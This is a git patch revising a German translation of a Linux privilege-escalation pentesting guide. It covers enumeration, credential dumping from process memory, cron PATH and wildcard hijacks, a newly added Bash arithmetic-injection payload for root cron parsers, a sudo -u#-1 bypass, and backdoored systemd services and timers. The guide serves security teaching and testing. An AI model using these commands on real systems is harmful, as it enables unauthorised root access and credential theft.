From bb3b17b0c94682abd121477fa5d8a8648dd7fd8e Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 16:54:26 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/spring-a --- .../privilege-escalation/README.md | 579 +++++++++--------- .../pentesting-web/spring-actuators.md | 120 +++- 2 files changed, 397 insertions(+), 302 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 49d2cc561..b6cc0a40c 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## Systeminformationen -### OS-Info +### OS-Informationen -Beginnen wir damit, Informationen über das laufende OS zu sammeln. +Fangen wir an, Informationen über das laufende OS zu sammeln ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Path -Wenn du **Schreibrechte auf einem Ordner innerhalb der `PATH`-Variable** hast, kannst du möglicherweise einige Libraries oder Binaries hijacken: +Wenn Sie **Schreibrechte für einen beliebigen Ordner innerhalb der `PATH`-Variable** haben, können Sie möglicherweise einige libraries oder binaries hijacken: ```bash echo $PATH ``` -### Umgebungsinformationen +### Env info -Interessante Informationen, Passwörter oder API-Schlüssel in den Umgebungsvariablen? +Interessante Informationen, Passwörter oder API keys in den Umgebungsvariablen? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Prüfe die Kernel-Version und ob es einen exploit gibt, der zur Privilege Escalation genutzt werden kann. +Überprüfe die Kernel-Version und ob es einen Exploit gibt, der für privilege escalation verwendet werden kann. ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Du kannst eine gute Liste verwundbarer Kernel und einige bereits **compiled exploits** hier finden: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Weitere Seiten, auf denen Du einige **compiled exploits** findest: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Du findest eine gute Liste verwundbarer Kernel und einige bereits **compiled exploits** hier: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) und [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Weitere Seiten, auf denen du einige **compiled exploits** finden kannst: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Um aus dieser Website alle verwundbaren Kernel-Versionen zu extrahieren, kannst Du Folgendes tun: +Um alle verwundbaren Kernel-Versionen von dieser Webseite zu extrahieren, kannst du Folgendes tun: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Tools, die bei der Suche nach Kernel-Exploits helfen können, sind: +Werkzeuge, die bei der Suche nach Kernel-Exploits helfen können, sind: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim, überprüft nur exploits für Kernel 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (ausführen IN victim, prüft nur exploits für kernel 2.x) -Suche immer **die Kernel-Version in Google**, vielleicht ist deine Kernel-Version in einem Kernel-Exploit angegeben, dann kannst du sicher sein, dass dieser Exploit gültig ist. +Always **Suche immer die Kernel-Version in Google**, vielleicht ist deine Kernel-Version in einem Kernel-Exploit angegeben und dann kannst du sicher sein, dass dieser Exploit gültig ist. ### CVE-2016-5195 (DirtyCow) @@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo-Version -Basierend auf den anfälligen sudo-Versionen, die in: +Basierend auf den verwundbaren sudo-Versionen, die in: ```bash searchsploit sudo ``` -Sie können mit diesem grep prüfen, ob die sudo-Version verwundbar ist. +Sie können überprüfen, ob die sudo-Version verwundbar ist, indem Sie dieses grep verwenden. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ Von @sickrov ``` sudo -u#-1 /bin/bash ``` -### Dmesg-Signaturüberprüfung fehlgeschlagen +### Dmesg Signaturprüfung fehlgeschlagen Siehe **smasher2 box of HTB** für ein **Beispiel**, wie diese vuln ausgenutzt werden könnte ```bash dmesg 2>/dev/null | grep "signature" ``` -### Mehr system enumeration +### Weitere System-Enumerierung ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Mögliche Abwehrmaßnahmen +## Mögliche Verteidigungsmaßnahmen auflisten ### AppArmor ```bash @@ -132,7 +132,7 @@ docker-security/ ## Laufwerke -Überprüfe **was eingehängt und was nicht eingehängt ist**, wo und warum. Falls etwas nicht eingehängt ist, könntest du versuchen, es einzuhängen und nach privaten Informationen zu suchen. +Überprüfe **what is mounted and unmounted**, wo und warum. Wenn etwas unmounted ist, könntest du versuchen, es zu mounten und nach privaten Daten zu suchen ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -145,56 +145,56 @@ Nützliche binaries auflisten ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Prüfe außerdem, ob **irgendein compiler installiert ist**. Das ist nützlich, wenn du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu kompilieren, auf der du ihn einsetzen willst (oder auf einer ähnlichen). +Prüfe außerdem, ob **any compiler is installed**. Das ist nützlich, falls du einen kernel exploit verwenden musst, da empfohlen wird, ihn auf der Maschine zu compile, auf der du ihn einsetzen wirst (oder auf einer ähnlichen). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Installierte verwundbare Software +### Verwundbare installierte Software -Überprüfe die **Version der installierten Pakete und Dienste**. Vielleicht gibt es eine ältere Nagios-Version (zum Beispiel), die für escalating privileges ausgenutzt werden könnte…\ -Es wird empfohlen, die Version der verdächtigeren installierten Software manuell zu prüfen. +Überprüfen Sie die **Version der installierten Pakete und Dienste**. Vielleicht läuft eine alte Nagios-Version (zum Beispiel), die ausgenutzt werden könnte, um escalating privileges zu erlangen…\ +Es wird empfohlen, die Version der besonders verdächtigen installierten Software manuell zu prüfen. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Wenn du SSH-Zugang zur Maschine hast, kannst du auch **openVAS** verwenden, um nach veralteter oder anfälliger Software zu suchen, die auf der Maschine installiert ist. +Wenn du SSH-Zugriff auf die Maschine hast, kannst du auch **openVAS** verwenden, um nach veralteter und verwundbarer Software zu suchen, die auf der Maschine installiert ist. -> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen, die größtenteils nutzlos sind. Daher werden Anwendungen wie OpenVAS oder ähnliche empfohlen, die prüfen, ob eine installierte Softwareversion gegenüber bekannten exploits anfällig ist._ +> [!NOTE] > _Beachte, dass diese Befehle viele Informationen anzeigen werden, die größtenteils nutzlos sind; daher empfiehlt sich die Nutzung von Anwendungen wie OpenVAS oder ähnlichen, die prüfen, ob eine installierte Softwareversion für bekannte Exploits verwundbar ist_ ## Prozesse -Sieh dir an, **welche Prozesse** ausgeführt werden, und prüfe, ob ein Prozess **mehr Rechte hat, als er sollte** (vielleicht läuft ein tomcat als root?) +Schau dir an, **welche Prozesse** ausgeführt werden, und prüfe, ob ein Prozess **mehr Rechte hat, als er haben sollte** (vielleicht läuft ein tomcat als root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** erkennt diese, indem es in der Kommandozeile des Prozesses den `--inspect`-Parameter überprüft.\ -Prüfe außerdem deine Privilegien auf die Prozess-Binaries — vielleicht kannst du eine überschreiben. +Prüfe immer auf mögliche [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ +Prüfe außerdem **check your privileges over the processes binaries**, vielleicht kannst du sie überschreiben. -### Process monitoring +### Prozessüberwachung -Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn eine Reihe von Voraussetzungen erfüllt ist. +Du kannst Tools wie [**pspy**](https://github.com/DominicBreuker/pspy) verwenden, um Prozesse zu überwachen. Das kann sehr nützlich sein, um verwundbare Prozesse zu identifizieren, die häufig ausgeführt werden oder wenn bestimmte Voraussetzungen erfüllt sind. -### Process memory +### Prozessspeicher -Some services of a server save **credentials in clear text inside the memory**.\ -Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist das in der Regel nützlicher, wenn du bereits root bist und weitere credentials entdecken möchtest.\ -Denke jedoch daran, dass **als normaler Benutzer du den Speicher der Prozesse lesen kannst, die dir gehören**. +Einige Dienste auf einem Server speichern **Zugangsdaten im Klartext im Speicher**.\ +Normalerweise benötigst du **root privileges**, um den Speicher von Prozessen zu lesen, die anderen Benutzern gehören; daher ist dies in der Regel nützlicher, wenn du bereits root bist und mehr Zugangsdaten finden möchtest.\ +Denke jedoch daran, dass **du als normaler Benutzer den Speicher der Prozesse, die dir gehören, lesen kannst**. > [!WARNING] -> Beachte, dass heutzutage die meisten Maschinen **ptrace nicht standardmäßig erlauben**, was bedeutet, dass du andere Prozesse, die zu deinem unprivilegierten Benutzer gehören, nicht dumpen kannst. +> Beachte, dass heutzutage die meisten Maschinen **ptrace standardmäßig nicht erlauben**, was bedeutet, dass du andere Prozesse, die zu deinem unprivileged user gehören, nicht dumpen kannst. > -> The file _**/proc/sys/kernel/yama/ptrace_scope**_ controls the accessibility of ptrace: +> Die Datei _**/proc/sys/kernel/yama/ptrace_scope**_ steuert die Zugänglichkeit von ptrace: > -> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, solange sie dieselbe uid haben. Dies ist die klassische Art, wie ptracing funktionierte. -> - **kernel.yama.ptrace_scope = 1**: nur ein übergeordneter Prozess kann debuggt werden. -> - **kernel.yama.ptrace_scope = 2**: nur Admin kann ptrace verwenden, da dafür die CAP_SYS_PTRACE-Fähigkeit erforderlich ist. -> - **kernel.yama.ptrace_scope = 3**: keine Prozesse dürfen mit ptrace nachverfolgt werden. Sobald gesetzt, ist ein Reboot nötig, um ptracing wieder zu ermöglichen. +> - **kernel.yama.ptrace_scope = 0**: alle Prozesse können debuggt werden, solange sie dieselbe uid haben. Das ist die klassische Funktionsweise von ptrace. +> - **kernel.yama.ptrace_scope = 1**: nur ein Elternprozess kann debuggt werden. +> - **kernel.yama.ptrace_scope = 2**: Nur Admin kann ptrace verwenden, da es die CAP_SYS_PTRACE-Fähigkeit erfordert. +> - **kernel.yama.ptrace_scope = 3**: Keine Prozesse dürfen mit ptrace nachverfolgt werden. Nach dem Setzen ist ein Reboot nötig, um ptracing wieder zu aktivieren. #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +Wenn du Zugriff auf den Speicher eines FTP-Dienstes (zum Beispiel) hast, könntest du den Heap auslesen und darin nach den Zugangsdaten suchen. ```bash gdb -p (gdb) info proc mappings @@ -203,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB-Skript +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -216,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Für eine gegebene Prozess-ID zeigen **maps, wie Speicher innerhalb des virtuellen Adressraums dieses Prozesses abgebildet ist**; sie zeigt auch die **Berechtigungen jeder abgebildeten Region**. Die **mem** Pseudo-Datei **legt den Speicher des Prozesses selbst offen**. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar** sind und ihre Offsets. Wir nutzen diese Informationen, um **in die mem-Datei zu seeken und alle lesbaren Bereiche in eine Datei auszulesen**. +Für eine gegebene Prozess-ID zeigt **maps, wie der Speicher im virtuellen Adressraum dieses Prozesses abgebildet ist**; sie zeigt auch die **Berechtigungen jeder gemappten Region**. Die **mem** Pseudo-Datei **legt den Speicher des Prozesses selbst offen**. Aus der **maps**-Datei wissen wir, welche **Speicherbereiche lesbar sind** und deren Offsets. Wir nutzen diese Informationen, um **in die mem file zu seeken und alle lesbaren Bereiche zu dumpen** in eine Datei. ```bash procdump() ( @@ -232,13 +232,13 @@ rm $1*.bin #### /dev/mem `/dev/mem` bietet Zugriff auf den **physischen** Speicher des Systems, nicht auf den virtuellen Speicher. Der virtuelle Adressraum des Kernels kann über /dev/kmem angesprochen werden.\ -Typischerweise ist `/dev/mem` nur für **root** und die **kmem**-Gruppe lesbar. +Typischerweise ist `/dev/mem` nur von **root** und der **kmem**-Gruppe lesbar. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump für linux -ProcDump ist eine Linux-Neuinterpretation des klassischen ProcDump-Tools aus der Sysinternals-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump ist eine Neuinterpretation für Linux des klassischen ProcDump-Tools aus der Sysinternals-Tool-Suite für Windows. Erhältlich unter [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,38 +267,38 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Werkzeuge -Um den Speicher eines Prozesses zu dumpen, kannst du Folgendes verwenden: +Um den Speicher eines Prozesses zu dumpen, können Sie folgende Tools verwenden: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Du kannst manuell die root-Anforderungen entfernen und den Prozess dumpen, der dir gehört +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Sie können manuell die Root-Anforderungen entfernen und den Prozess dumpen, der Ihnen gehört - Script A.5 aus [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root ist erforderlich) -### Anmeldedaten aus dem Prozessspeicher +### Credentials aus dem Prozessspeicher #### Manuelles Beispiel -Wenn du feststellst, dass der authenticator-Prozess läuft: +Wenn Sie feststellen, dass der authenticator-Prozess läuft: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Sie können den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Möglichkeiten zu finden, den Speicher eines Prozesses zu dumpen) und im Speicher nach credentials suchen: +Sie können den Prozess dumpen (siehe vorherige Abschnitte, um verschiedene Wege zu finden, den Speicher eines Prozesses zu dumpen) und nach Credentials im Speicher suchen: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Das Tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) wird **Klartext-Anmeldedaten aus dem Speicher** und aus einigen **bekannten Dateien** stehlen. Es benötigt root privileges, um richtig zu funktionieren. +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **Klartext-Anmeldedaten aus dem Speicher** und aus einigen **bekannten Dateien** stehlen. Es benötigt root-Rechte, um korrekt zu funktionieren. | Funktion | Prozessname | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | +| GDM-Passwort (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (aktive FTP-Verbindungen) | vsftpd | +| Apache2 (aktive HTTP Basic-Auth-Sitzungen) | apache2 | +| OpenSSH (aktive SSH-Sitzungen - Sudo-Nutzung) | sshd: | #### Such-Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -316,65 +316,89 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Scheduled/Cron jobs -Überprüfe, ob irgendein geplanter Job verwundbar ist. Vielleicht kannst du ein Script ausnutzen, das von root ausgeführt wird (wildcard vuln? kannst du Dateien modifizieren, die root verwendet? symlinks verwenden? bestimmte Dateien in dem Verzeichnis erstellen, das root verwendet?). +Prüfe, ob ein geplanter Job verwundbar ist. Vielleicht kannst du ein von root ausgeführtes script ausnutzen (wildcard vuln? kannst du Dateien, die root verwendet, modifizieren? symlinks verwenden? bestimmte Dateien in dem Verzeichnis erstellen, das root verwendet?). ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### Cron path +### Cron-Pfad -Zum Beispiel findest du in _/etc/crontab_ die PATH-Variable: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Zum Beispiel findet man in _/etc/crontab_ den PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Beachte, dass der Benutzer "user" Schreibrechte für /home/user hat_) +(_Beachte, dass der Benutzer "user" Schreibrechte über /home/user hat_) -Wenn innerhalb dieser crontab der Benutzer root versucht, einen Befehl oder ein Skript auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ -Dann kannst du eine root shell erhalten, indem du Folgendes verwendest: +Wenn in dieser crontab der root-Benutzer versucht, einen Befehl oder ein Script auszuführen, ohne den PATH zu setzen. Zum Beispiel: _\* \* \* \* root overwrite.sh_\ +Dann kannst du eine root-Shell erhalten, indem du Folgendes verwendest: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron mit einem Skript, das ein wildcard verwendet (Wildcard Injection) +### Cron, das ein Skript mit einem wildcard verwendet (Wildcard Injection) -Wenn ein von root ausgeführtes Skript ein “**\***” innerhalb eines Befehls enthält, könntest du dies ausnutzen, um unerwartete Dinge zu bewirken (wie privesc). Beispiel: +Wenn ein von root ausgeführtes Skript ein “**\***” innerhalb eines Befehls enthält, kannst du dies ausnutzen, um unerwartete Dinge zu bewirken (wie privesc). Beispiel: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Wenn die Wildcard einem Pfad wie** _**/some/path/\***_ **vorangestellt ist, ist sie nicht anfällig (selbst** _**./\***_ **nicht).** +**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** -Siehe die folgende Seite für weitere Wildcard-Exploitation-Tricks: +Lies die folgende Seite für weitere wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Überschreiben von cron scripts und symlink -Wenn du **ein cron script modifizieren kannst**, das von root ausgeführt wird, kannst du sehr einfach eine shell bekommen: +### Bash arithmetic expansion injection in cron log parsers + +Bash performs parameter expansion and command substitution before arithmetic evaluation in ((...)), $((...)) and let. If a root cron/parser reads untrusted log fields and feeds them into an arithmetic context, an attacker can inject a command substitution $(...) that executes as root when the cron runs. + +- Warum das funktioniert: In Bash erfolgen die expansions in dieser Reihenfolge: parameter/variable expansion, command substitution, arithmetic expansion, dann word splitting und pathname expansion. Ein Wert wie `$(/bin/bash -c 'id > /tmp/pwn')0` wird also zuerst substituiert (der Befehl läuft), danach wird die verbleibende numerische `0` für die Arithmetik verwendet, sodass das Script ohne Fehler weiterläuft. + +- Typisches verwundbares Muster: +```bash +#!/bin/bash +# Example: parse a log and "sum" a count field coming from the log +while IFS=',' read -r ts user count rest; do +# count is untrusted if the log is attacker-controlled +(( total += count )) # or: let "n=$count" +done < /var/www/app/log/application.log +``` + +- Exploitation: Sorge dafür, dass vom Angreifer kontrollierter Text in das geparste Log geschrieben wird, sodass das zahlenähnliche Feld eine command substitution enthält und mit einer Ziffer endet. Stelle sicher, dass dein Befehl nichts auf stdout ausgibt (oder leite es um), damit die Arithmetik gültig bleibt. +```bash +# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): +$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 +# When the root cron parser evaluates (( total += count )), your command runs as root. +``` + +### Cron script overwriting and symlink + +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Wenn das von root ausgeführte script ein **Verzeichnis, auf das du vollen Zugriff hast**, verwendet, kann es nützlich sein, dieses Verzeichnis zu löschen und **einen symlink-Ordner zu einem anderen zu erstellen**, der ein von dir kontrolliertes script bereitstellt. +Wenn das von root ausgeführte Skript ein **Verzeichnis, auf das Sie vollen Zugriff haben**, verwendet, könnte es nützlich sein, diesen Ordner zu löschen und **einen symlink-Ordner zu einem anderen zu erstellen**, der ein von Ihnen kontrolliertes Skript bereitstellt. ```bash ln -d -s ``` -### Häufige cron jobs +### Häufige cron-Jobs -Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und Privilegien eskalieren. +Du kannst die Prozesse überwachen, um nach Prozessen zu suchen, die alle 1, 2 oder 5 Minuten ausgeführt werden. Vielleicht kannst du das ausnutzen und escalate privileges. -Zum Beispiel, um **jede 0.1s für 1 Minute zu überwachen**, **nach am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du Folgendes tun: +Zum Beispiel, um **jede 0.1s während 1 Minute zu überwachen**, **nach den am wenigsten ausgeführten Befehlen zu sortieren** und die Befehle zu löschen, die am häufigsten ausgeführt wurden, kannst du: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Sie können auch** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies überwacht und listet jeden gestarteten Prozess). +**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (dies überwacht und listet jeden gestarteten Prozess auf). -### Unsichtbare cronjobs +### Unsichtbare cron jobs -Es ist möglich, einen cronjob zu erstellen, indem man **ein Wagenrücklaufzeichen nach einem Kommentar setzt** (ohne Zeilenumbruchzeichen), und der cronjob funktioniert. Beispiel (achte auf das Wagenrücklaufzeichen): +Es ist möglich, einen cron job zu erstellen, indem man nach einem Kommentar ein Wagenrücklaufzeichen setzt (ohne Zeilenumbruchzeichen), und der cron job wird ausgeführt. Beispiel (achte auf das Wagenrücklaufzeichen): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -382,32 +406,32 @@ Es ist möglich, einen cronjob zu erstellen, indem man **ein Wagenrücklaufzeich ### Schreibbare _.service_ Dateien -Prüfe, ob du eine `.service` Datei schreiben kannst, wenn ja, **könntest du es ändern** so dass sie **ausführt** deine **backdoor wenn** der Service **gestartet**, **neu gestartet** oder **gestoppt** wird (vielleicht musst du warten, bis die Maschine neu gestartet wird).\ -Zum Beispiel erstelle deine backdoor innerhalb der .service Datei mit **`ExecStart=/tmp/script.sh`** +Prüfe, ob du irgendeine `.service`-Datei schreiben kannst; wenn ja, **kannst du sie modifizieren**, sodass sie **deinen backdoor ausführt, wenn** der Dienst **gestartet**, **neu gestartet** oder **gestoppt** wird (möglicherweise musst du warten, bis die Maschine neu gestartet wird).\ +Erstelle zum Beispiel deinen backdoor innerhalb der `.service`-Datei mit **`ExecStart=/tmp/script.sh`** -### Schreibbare service binaries +### Schreibbare Service-Binaries -Beachte, dass wenn du **Schreibrechte an Binaries, die von services ausgeführt werden** hast, du diese ändern kannst, um backdoors zu platzieren, sodass beim erneuten Ausführen der services die backdoors ausgeführt werden. +Beachte, dass wenn du **Schreibrechte auf Binaries hast, die von Services ausgeführt werden**, du diese ändern kannst, um backdoors einzubauen, sodass beim erneuten Ausführen der Services die backdoors ausgeführt werden. ### systemd PATH - Relative Paths -Du kannst den von **systemd** verwendeten PATH sehen mit: +Du kannst den von **systemd** verwendeten PATH mit folgendem Befehl sehen: ```bash systemctl show-environment ``` -Wenn du feststellst, dass du in einem der Ordner des Pfads **schreiben** kannst, könntest du möglicherweise **Privilegien eskalieren**. Du musst nach **relativen Pfaden, die in Service-Konfigurationsdateien verwendet werden**, suchen, wie zum Beispiel: +Wenn du feststellst, dass du in einem der Ordner des Pfads **schreiben** kannst, kannst du möglicherweise **escalate privileges**. Du musst nach **relativen Pfaden, die in Service-Konfigurationsdateien verwendet werden**, suchen, wie zum Beispiel: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Erstelle dann eine **ausführbare Datei** mit **dem gleichen Namen wie das relative Pfad-Binary** im systemd PATH-Verzeichnis, das du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird dein **backdoor** ausgeführt (nicht-privilegierte Benutzer können Dienste normalerweise nicht starten/stoppen, prüfe aber, ob du `sudo -l` verwenden kannst). +Dann erzeugst du ein **executable** mit genau demselben Namen wie die relative Pfad-Binärdatei im systemd PATH folder, den du beschreiben kannst, und wenn der Service aufgefordert wird, die verwundbare Aktion (**Start**, **Stop**, **Reload**) auszuführen, wird deine **backdoor** ausgeführt (ungeprivilegierte Benutzer können normalerweise keine Services starten/stoppen, prüfe aber, ob du `sudo -l` verwenden kannst). -**Mehr über Services erfährst du mit `man systemd.service`.** +**Mehr über services erfährst du mit `man systemd.service`.** -## **Timer** +## **Timers** -**Timer** sind systemd unit-Dateien, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder Ereignisse steuern. **Timer** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können. +**Timers** sind systemd unit files, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder -Ereignisse steuern. **Timers** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für calendar time events und monotonic time events bieten und asynchron ausgeführt werden können. Du kannst alle Timer mit folgendem Befehl auflisten: ```bash @@ -415,24 +439,24 @@ systemctl list-timers --all ``` ### Schreibbare Timer -Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene systemd.unit-Einheiten auszuführen (wie eine `.service` oder eine `.target`) +Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene systemd.unit-Einheiten auszuführen (wie `.service` oder `.target`). ```bash Unit=backdoor.service ``` In der Dokumentation kannst du lesen, was die Unit ist: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Die Unit, die aktiviert werden soll, wenn dieser Timer abläuft. Das Argument ist ein Unit‑Name, dessen Suffix nicht ".timer" ist. Wenn nicht angegeben, lautet dieser Wert standardmäßig ein Service, der denselben Namen wie die Timer‑Unit hat, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der zu aktivierende Unit‑Name und der Unit‑Name der Timer‑Unit identisch benannt sind, abgesehen vom Suffix. -Therefore, to abuse this permission you would need to: +Daher müsstest du, um diese Berechtigung auszunutzen, Folgendes tun: -- Find some systemd unit (like a `.service`) that is **eine beschreibbare Binärdatei ausführt** -- Find some systemd unit that is **einen relativen Pfad ausführt** und du **schreibbare Rechte** über den **systemd PATH** hast (um diese ausführbare Datei zu imitieren) +- Finde eine systemd Unit (z. B. eine `.service`), die ein **schreibbares Binary** ausführt +- Finde eine systemd Unit, die einen **relativen Pfad** ausführt und für die du **Schreibrechte** auf den **systemd PATH** besitzt (um diese ausführbare Datei zu imitieren) **Mehr über Timer erfährst 